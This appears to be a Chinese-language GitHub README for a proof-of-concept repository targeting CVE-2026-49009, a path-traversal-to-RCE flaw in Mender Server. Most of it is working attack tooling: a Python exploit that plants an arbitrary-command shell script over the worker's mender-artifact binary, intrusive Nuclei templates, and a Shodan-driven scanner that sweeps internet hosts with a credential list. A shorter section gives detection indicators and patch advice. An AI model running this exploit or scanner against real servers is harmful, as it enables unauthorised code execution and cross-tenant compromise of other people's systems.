INTELEON404/CVE-2026-49009

GitHub: INTELEON404/CVE-2026-49009

针对CVE-2026-49009漏洞的检测和利用工具。

Stars: 0 | Forks: 0

**CVE-2026-49009 — Mender Server 认证后路径遍历导致远程代码执行** [![CVE](https://img.shields.io/badge/CVE-2026--49009-critical?style=flat-square&logo=cve&logoColor=white)](https://nvd.nist.gov/vuln/detail/CVE-2026-49009) [![CVSS](https://img.shields.io/badge/CVSS-9.9_Critical-red?style=flat-square)](https://nvd.nist.gov/vuln/detail/CVE-2026-49009) [![CWE](https://img.shields.io/badge/CWE-22_Path_Traversal-orange?style=flat-square)](https://cwe.mitre.org/data/definitions/22.html) [![Status](https://img.shields.io/badge/Status-Patched-green?style=flat-square)](https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server) [![License](https://img.shields.io/badge/Use-Authorized_Testing_Only-blue?style=flat-square)](#disclaimer) *发现者* [**j0xh-sec**](https://hackerone.com/j0xh-sec) 通过 HackerOne · *PoC 作者* **INTELEON404**
## 目录 - [漏洞概述](#vulnerability-summary) - [受影响版本](#affected-versions) - [技术分析](#technical-analysis) - [概念验证](#proof-of-concept) - [Python Exploit](#python-exploit) - [Nuclei 模板](#nuclei-template) - [ShodanX + Nuclei 扫描器](#shodanx--nuclei-scanner) - [使用方法](#usage) - [检测与指标](#detection--indicators) - [修复方案](#remediation) - [时间线](#timeline) - [参考资料](#references) - [免责声明](#disclaimer) ## 漏洞概述 | 字段 | 详情 | |---|---| | **CVE ID** | CVE-2026-49009 | | **CVSS Score** | 9.9 Critical — `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` | | **CWE** | CWE-22 — 路径名到受限目录的不当限制 | | **受影响产品** | Northern.tech Mender Server (Community & Enterprise) | | **发现者** | [j0xh-sec](https://hackerone.com/j0xh-sec) 通过 HackerOne(负责任的披露) | | **PoC 作者** | INTELEON404 — 授权安全评估 | | **CVE 发布时间** | 2026-05-27 | | **补丁发布时间** | 2026-04-01 (Mender Server 4.1.1 / 4.0.2) | ### 描述 Mender Server 版本 ≤4.1.0 和 ≤4.0.1 的单文件 artifact 生成 API endpoint 中存在一个认证后的路径遍历漏洞。攻击者在 `filename` 字段中提供 `../` 序列,可以覆盖 `create-artifact-worker` 容器内的 `/usr/bin/mender-artifact`。当下一个工作流步骤调用此二进制文件时,任意命令将作为代码执行。 在多租户的 Hosted Mender 环境中,共享的 worker 容器会为所有租户处理 artifact —— 从而导致跨租户的入侵。 ## 受影响版本 | 产品 | 易受攻击版本 | 已修复版本 | |---|---|---| | Mender Server (Community) | ≤ 4.1.0, ≤ 4.0.1 | **4.1.1**, **4.0.2** | | Mender Server (Enterprise) | ≤ 4.1.0, ≤ 4.0.1 | **4.1.1**, **4.0.2** | | Hosted Mender | 所有版本(补丁前) | 自动修复 | ## 技术分析 ### 根本原因 `/api/management/v1/deployments/artifacts/generate` endpoint 接受位于 JSON `args` 参数内的 `filename` 字段。此值用于在 artifact 生成期间构建磁盘上的写入路径。路径遍历序列(`../`)未经清理,使得受攻击者控制的值能够脱离预期的上传目录。 ### 攻击流程 ``` ┌─────────────────────────────────────────────────────────────────┐ │ │ │ 1. AUTHENTICATE │ │ POST /api/management/v1/useradm/auth/login │ │ Authorization: Basic │ │ ──────────────────────────────────────────────────────► │ │ 200 OK + JWT token │ │ │ │ 2. SUBMIT TRAVERSAL PAYLOAD │ │ POST /api/management/v1/deployments/artifacts/generate │ │ Authorization: Bearer │ │ args.filename = "../../../../usr/bin/mender-artifact" │ │ file = │ │ ──────────────────────────────────────────────────────► │ │ 202 Accepted + Location │ │ │ │ 3. WORKER CONTAINER WRITES FILE │ │ /usr/bin/mender-artifact ← attacker payload │ │ │ │ 4. NEXT WORKFLOW TRIGGER │ │ create-artifact-worker invokes /usr/bin/mender-artifact │ │ ──────────────────────────────────────────────────────► │ │ REMOTE CODE EXECUTION │ └─────────────────────────────────────────────────────────────────┘ ``` ### 原理说明 | 因素 | 解释 | |---|---| | **未清理的路径** | `../../../../usr/bin/mender-artifact` 逃逸了预期的 `/opt/mender/app/` 目标 | | **异步处理** | `create-artifact-worker` 在任何下游验证之前异步写入文件 | | **二进制文件劫持** | 后续工作流步骤作为正常操作的一部分调用了 `/usr/bin/mender-artifact` | | **容器复用** | 在多租户部署中,同一个 worker 容器为所有租户处理 artifact | ## 概念验证 ### Python Exploit
▶ 查看 exploit 代码 ``` #!/usr/bin/env python3 """ CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE Discovered by: j0xh-sec (HackerOne) PoC by: INTELEON404 (Authorized security assessment) """ import argparse import base64 import json import re import sys import time import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def parse_args(): parser = argparse.ArgumentParser( description="CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE", epilog="Discovered by j0xh-sec | PoC by INTELEON404" ) parser.add_argument("-t", "--target", required=True, help="Base URL, e.g. https://mender.local") parser.add_argument("-u", "--username", required=True, help="Mender username / email") parser.add_argument("-p", "--password", required=True, help="Mender password") parser.add_argument("-c", "--command", required=True, help="Command to execute") return parser.parse_args() def banner(): print("\n[ CVE-2026-49009 ] Mender Server Path Traversal → RCE") print("[ Discovered by j0xh-sec | PoC by INTELEON404 ]\n") def build_payload(command: str) -> bytes: """Encode command as base64 shell script; preserves mender-artifact stdin passthrough.""" encoded = base64.b64encode(command.encode()).decode() return f"""#!/bin/sh # CVE-2026-49009 payload — INTELEON404 CMD_B64="{encoded}" CMD="$(printf '%s' "$CMD_B64" | base64 -d 2>/dev/null || printf '%s' "$CMD_B64")" /bin/sh -c "$CMD" exec /bin/sh "$@" """.encode() def main(): args = parse_args() banner() target = args.target.rstrip("/") if not target.startswith(("http://", "https://")): target = "https://" + target host = target.split("://")[1].split("/")[0] print(f"[*] Target : {target}") print(f"[*] User : {args.username}") # ── Step 1: Authenticate ────────────────────────────────────────────── print("[*] Authenticating...") try: r = requests.post( f"{target}/api/management/v1/useradm/auth/login", auth=(args.username, args.password), headers={"Host": host, "Content-Type": "application/json"}, data="{}", verify=False, timeout=30, ) if r.status_code != 200: raise RuntimeError(f"Login failed (HTTP {r.status_code}): {r.text.strip()}") jwt = r.text.strip() print("[+] JWT obtained") except requests.RequestException as e: raise RuntimeError(f"Connection error during login: {e}") # ── Step 2: Submit traversal payload ───────────────────────────────── print("[*] Submitting path traversal payload...") artifact_name = f"rce-poc-{int(time.time())}" args_json = { "filename": "../../../../usr/bin/mender-artifact", "dest_dir": "/opt/mender/app", "software_name": "demo", "software_version": "1", } files = { "name": (None, artifact_name), "description": (None, "CVE-2026-49009 PoC"), "type": (None, "single-file"), "device_types_compatible": (None, "qemu"), "args": (None, json.dumps(args_json), "application/json"), "file": ("payload.sh", build_payload(args.command), "application/octet-stream"), } try: r = requests.post( f"{target}/api/management/v1/deployments/artifacts/generate", headers={"Host": host, "Authorization": f"Bearer {jwt}"}, files=files, verify=False, timeout=60, allow_redirects=False, ) except requests.RequestException as e: raise RuntimeError(f"Connection error during exploit: {e}") location = r.headers.get("Location", "") if not location: print(f"[!] HTTP {r.status_code} — no Location header returned") print(f"[!] Response: {r.text[:500]}") print("[-] Target may be patched (≥ 4.1.1 / 4.0.2) or credentials lack permissions") sys.exit(1) job_id = re.search(r"/([^/]+)$", location).group(1) print(f"[+] Workflow submitted — Job ID: {job_id}") print(f"[+] Payload : {args.command}") print("\n[*] Command executes inside the worker container when the workflow completes.") if __name__ == "__main__": try: main() except RuntimeError as e: print(f"\n[!] ERROR: {e}", file=sys.stderr) sys.exit(1) except KeyboardInterrupt: print("\n[*] Interrupted") sys.exit(130) ```
### Nuclei 模板
▶ 查看模板 (CVE-2026-49009.yaml) ``` id: CVE-2026-49009 info: name: Mender Server - Authenticated Path Traversal to RCE Detection author: j0xh-sec severity: medium description: | Mender Server versions 4.1.0, 4.0.1, and below are vulnerable to an authenticated path traversal in the single-file artifact generation API endpoint. An attacker with a valid user account can supply a filename containing traversal sequences, causing the uploaded file payload to be written outside the intended directory. impact: | Successful exploitation gives an authenticated attacker remote code execution inside the create-artifact-worker container. remediation: | Upgrade to Mender Server 4.1.1, 4.0.2, or later. Affected versions include all releases prior to and including 4.1.0 and 4.0.1 for both Mender Server Community (Open Source) and Mender Server Enterprise. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-49009 - https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.9 cve-id: CVE-2026-49009 cwe-id: CWE-22 metadata: verified: true max-request: 1 vendor: northern.tech product: mender_server shodan-query: http.title:"Mender" fofa-query: title="Mender" tags: cve,cve2026,mender,path-traversal,rce,authenticated http: - raw: - |+ POST /api/management/v1/deployments/artifacts/generate HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="name" cve-scan-{{randstr}} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="description" CVE-2026-49009 verification ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="type" single-file ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="device_types_compatible" qemu ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="args" Content-Type: application/json {"filename":"../../../../usr/bin/mender-artifact","dest_dir":"/opt/mender/app","software_name":"demo","software_version":"1"} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="file"; filename="payload.sh" Content-Type: application/octet-stream #!/bin/sh echo ------WebKitFormBoundary{{randstr}}-- matchers-condition: or matchers: # If the instance responds with a 400 Bad Request indicating a parsing error or # schema validation failure specifically from the deployment service, the path exists. - type: dsl dsl: - "status_code == 400" - "contains(body, 'deployment') || contains(body, 'artifact')" condition: and # Secure setups or unauthenticated attempts to reach this deep API route will # typically return a 401 Unauthorized, validating endpoint presence but blocking access. - type: dsl dsl: - "status_code == 401" - "contains(body, 'unauthorized') || contains(body, 'jwt')" condition: or ```
## Nuclei POC poc ### ShodanX + Nuclei 扫描器 将 [ShodanX](https://github.com/RevoltSecurities/ShodanX) 侦察与 Nuclei 扫描结合,以大规模发现并评估 Mender Server 实例。 **阶段:** 1. **发现** — ShodanX dork `http.title:"Mender"`,提取 IP:port 对 2. **扫描** — Nuclei 通过凭证轮换对发现的目标运行 CVE 模板 3. **报告** — 去重的 JSON + 纯文本输出
▶ 查看扫描器脚本 (cve-2026-49009-scanner.sh) ``` #!/bin/bash set -euo pipefail RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m' CYAN='\033[0;36m'; BOLD='\033[1m'; NC='\033[0m' SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" TIMESTAMP="$(date +%Y%m%d_%H%M%S)" OUTPUT_DIR="${SCRIPT_DIR}/cve-2026-49009-scan-${TIMESTAMP}" SHODAN_QUERY='http.title:"Mender"' PAGES=3 RATE=50 NO_SHODAN=false CREDS_ARRAY=() usage() { cat </dev/null || { echo "[*] Installing ShodanX..." pip install git+https://github.com/RevoltSecurities/ShodanX --quiet } command -v nuclei &>/dev/null || { echo "[!] Nuclei not found. Install: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest" exit 1 } } write_template() { cat > "${OUTPUT_DIR}/CVE-2026-49009.yaml" << 'TMPL' id: CVE-2026-49009 info: name: Mender Server - Authenticated Path Traversal to RCE author: j0xh-sec severity: critical description: Mender Server <=4.1.0/4.0.1 authenticated path traversal to RCE. remediation: Upgrade to 4.1.1 or 4.0.2. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-49009 - https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.9 cve-id: CVE-2026-49009 cwe-id: CWE-22 metadata: verified: true max-request: 2 vendor: northern.tech product: mender_server tags: cve,cve2026,mender,path-traversal,rce,authenticated,intrusive http: - raw: - |+ POST /api/management/v1/useradm/auth/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Authorization: Basic {{base64('{{username}}:{{password}}')}} {} - |+ POST /api/management/v1/deployments/artifacts/generate HTTP/1.1 Host: {{Hostname}} Authorization: Bearer {{jwt}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="name" cve-poc-{{randhex_6}} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="args" Content-Type: application/json {"filename":"../../../../usr/bin/mender-artifact","dest_dir":"/opt/mender/app","software_name":"demo","software_version":"1"} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="file"; filename="payload.sh" Content-Type: application/octet-stream #!/bin/sh /usr/bin/id>/tmp/.cve-2026-49009 ------WebKitFormBoundary{{randstr}}-- extractors: - type: regex name: jwt part: body internal: true regex: - "([A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+)" matchers: - type: dsl dsl: - 'status_code_1 == 200' - 'len(jwt) > 100' - 'status_code_2 >= 200 && status_code_2 < 300' - 'contains(to_string(header_2_all), "Location")' condition: and TMPL echo "[+] Nuclei template written: ${OUTPUT_DIR}/CVE-2026-49009.yaml" } shodanx_discover() { echo "[*] ShodanX discovery: ${SHODAN_QUERY} (pages: ${PAGES})" mkdir -p "${OUTPUT_DIR}" shodanx search --query "${SHODAN_QUERY}" --pages "${PAGES}" \ --output "${OUTPUT_DIR}/shodanx-raw.txt" --format json 2>/dev/null || \ shodanx search --query "${SHODAN_QUERY}" --pages "${PAGES}" \ --output "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null || true if jq -r '.[] | "\(.ip_str):\(.port // "443")"' "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null | \ grep -v '^:$\|^null' | sort -u > "${OUTPUT_DIR}/targets.txt" 2>/dev/null; then : else grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+(:[0-9]+)?' \ "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null | sort -u > "${OUTPUT_DIR}/targets.txt" || true fi echo "[+] $(wc -l < "${OUTPUT_DIR}/targets.txt" 2>/dev/null || echo 0) targets discovered" } nuclei_scan() { [[ ! -s "${OUTPUT_DIR}/targets.txt" ]] && { echo "[!] No targets to scan"; return; } echo "[*] Running Nuclei scan (rate: ${RATE})..." for cred in "${CREDS_ARRAY[@]}"; do nuclei -silent \ -t "${OUTPUT_DIR}/CVE-2026-49009.yaml" \ -l "${OUTPUT_DIR}/targets.txt" \ -var "USERNAME=${cred%%:*}" \ -var "PASSWORD=${cred#*:}" \ -rate-limit "${RATE}" \ -jsonl \ -o "${OUTPUT_DIR}/nuclei-results.json" \ -timeout 15 -retries 2 -irr 2>/dev/null done if [[ -f "${OUTPUT_DIR}/nuclei-results.json" ]]; then COUNT=$(wc -l < "${OUTPUT_DIR}/nuclei-results.json") echo "[+] ${COUNT} vulnerability(ies) confirmed" jq -r '.["matched-at"] // .host // empty' "${OUTPUT_DIR}/nuclei-results.json" 2>/dev/null | \ sort -u > "${OUTPUT_DIR}/vulnerable-hosts.txt" else echo "[-] No vulnerabilities found or no results returned" fi } main() { check_deps mkdir -p "${OUTPUT_DIR}" write_template if $NO_SHODAN; then [[ -n "${TARGETS_FILE:-}" && -f "$TARGETS_FILE" ]] && \ cp "$TARGETS_FILE" "${OUTPUT_DIR}/targets.txt" || \ { echo "[!] --no-shodan requires --targets "; exit 1; } else shodanx_discover fi if [[ -n "${USERNAME:-}" && -n "${PASSWORD:-}" ]]; then CREDS_ARRAY=("${USERNAME}:${PASSWORD}") elif [[ -n "${CREDS_FILE:-}" ]]; then while IFS=':' read -r u p; do [[ -n "$u" && -n "$p" ]] && CREDS_ARRAY+=("${u}:${p}") done < "$CREDS_FILE" else echo "[!] Credentials required: use -u/-P, -c , or set MENDER_USERNAME/MENDER_PASSWORD" exit 1 fi nuclei_scan echo "[+] Scan complete. Results in: ${OUTPUT_DIR}/" } main ```
## 使用方法 ### 环境要求 | 依赖 | 安装 | |---|---| | Python 3.8+ | `apt install python3 python3-pip` | | `requests` / `urllib3` | `pip install requests urllib3` | | [Nuclei](https://github.com/projectdiscovery/nuclei) | `go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest` | | [ShodanX](https://github.com/RevoltSecurities/ShodanX) *(可选)* | `pip install git+https://github.com/RevoltSecurities/ShodanX` | ### Python PoC ``` python3 cve-2026-49009.py \ -t https://mender-server.local \ -u admin@example.com \ -p 's3cret!' \ -c 'id > /tmp/pwned.txt' ``` ### Nuclei ``` nuclei -t CVE-2026-49009.yaml \ -u https://mender-server.local \ -var USERNAME=admin@example.com \ -var PASSWORD='s3cret!' ``` ### 扫描器 ``` # 全自动扫描 (ShodanX + Nuclei) ./cve-2026-49009-scanner.sh -u admin@example.com -P 'YourPassword' # 从文件进行凭证轮换 ./cve-2026-49009-scanner.sh -c creds.txt # 跳过发现,扫描已知目标 ./cve-2026-49009-scanner.sh -n -t targets.txt -u admin@example.com -P 'YourPassword' # 扩展扫描 ./cve-2026-49009-scanner.sh -u admin@example.com -P 'YourPassword' -p 10 -r 150 ``` ## 检测与指标 ### 应用程序 / 主机 | 指标 | 描述 | |---|---| | 遍历文件名后的 `Location` 标头 | 服务器在接受了包含 `../` 的文件名后返回 `Location` | | 可疑的 artifact 名称 | 模式:`cve-poc-*`, `rce-poc-*`, `pwn-*` | | 修改过的二进制文件时间戳 | worker 容器内部 `/usr/bin/mender-artifact` 的时间戳已更改 | | 异常的 worker 输出 | 容器日志显示与 artifact 处理无关的命令 | ### 网络 | 指标 | 描述 | |---|---| | 发送到 `artifacts/generate` 的 POST 请求 | 包含 `../` 序列的 `args` JSON | | 认证 + 上传组合 | 来自同一源 IP 的 Basic auth 登录,紧接着是 multipart 上传 | ### Nuclei 匹配逻辑 当出现以下情况时,模板返回阳性结果: 1. `POST /useradm/auth/login` → `HTTP 200` + 有效的 JWT (> 100 个字符) 2. `POST /artifacts/generate` → `HTTP 2xx` + 存在 `Location` 标头 已修复的服务器(≥ 4.1.1 / 4.0.2)会在步骤 2 中以 `HTTP 4xx` 拒绝遍历路径。 ## 修复方案 | 优先级 | 行动 | |---|---| | **紧急** | 升级至 Mender Server **4.1.1** 或 **4.0.2** | | **补偿控制** | 启用加密 artifact 签名 — 设备将拒绝被篡改的 artifact | | **缓解措施** | 将 API 访问限制在受信任的网络中;如果未使用,请禁用 artifact 生成 | | **审计** | 检查日志中是否存在具有异常 `filename` 值的 artifact 生成请求 | ## 时间线 | 日期 | 事件 | |---|---| | 2026-04-01 | Mender Server 4.1.1 / 4.0.2 发布并包含修复 | | 2026-05-27 | CVE 发布;Northern.tech 发布安全通告 | | 2026-05-27 | INTELEON404 发布 PoC | ## 参考资料 - [NVD — CVE-2026-49009](https://nvd.nist.gov/vuln/detail/CVE-2026-49009) - [Northern.tech 安全通告](https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server) - [OpenCVE 条目](https://app.opencve.io/cve/CVE-2026-49009) - [Tenable CVE 页面](https://www.tenable.com/cve/CVE-2026-49009) - [Mender Server 更新日志](https://docs.mender.io/release-information/release-notes-changelog/mender-server) - [Mender Enterprise 更新日志](https://docs.mender.io/release-information/release-notes-changelog/mender-server-enterprise) - [INTELEON404/CVE-2026-49009](https://github.com/INTELEON404/CVE-2026-49009) - [j0xh-sec/CVE-2026-49009](https://github.com/j0xh-sec/CVE-2026-49009) ## 免责声明
**发现者** [j0xh-sec](https://hackerone.com/j0xh-sec) 通过 HackerOne · 对 Northern.tech 进行负责任的披露 **PoC 作者** INTELEON404 · 授权安全评估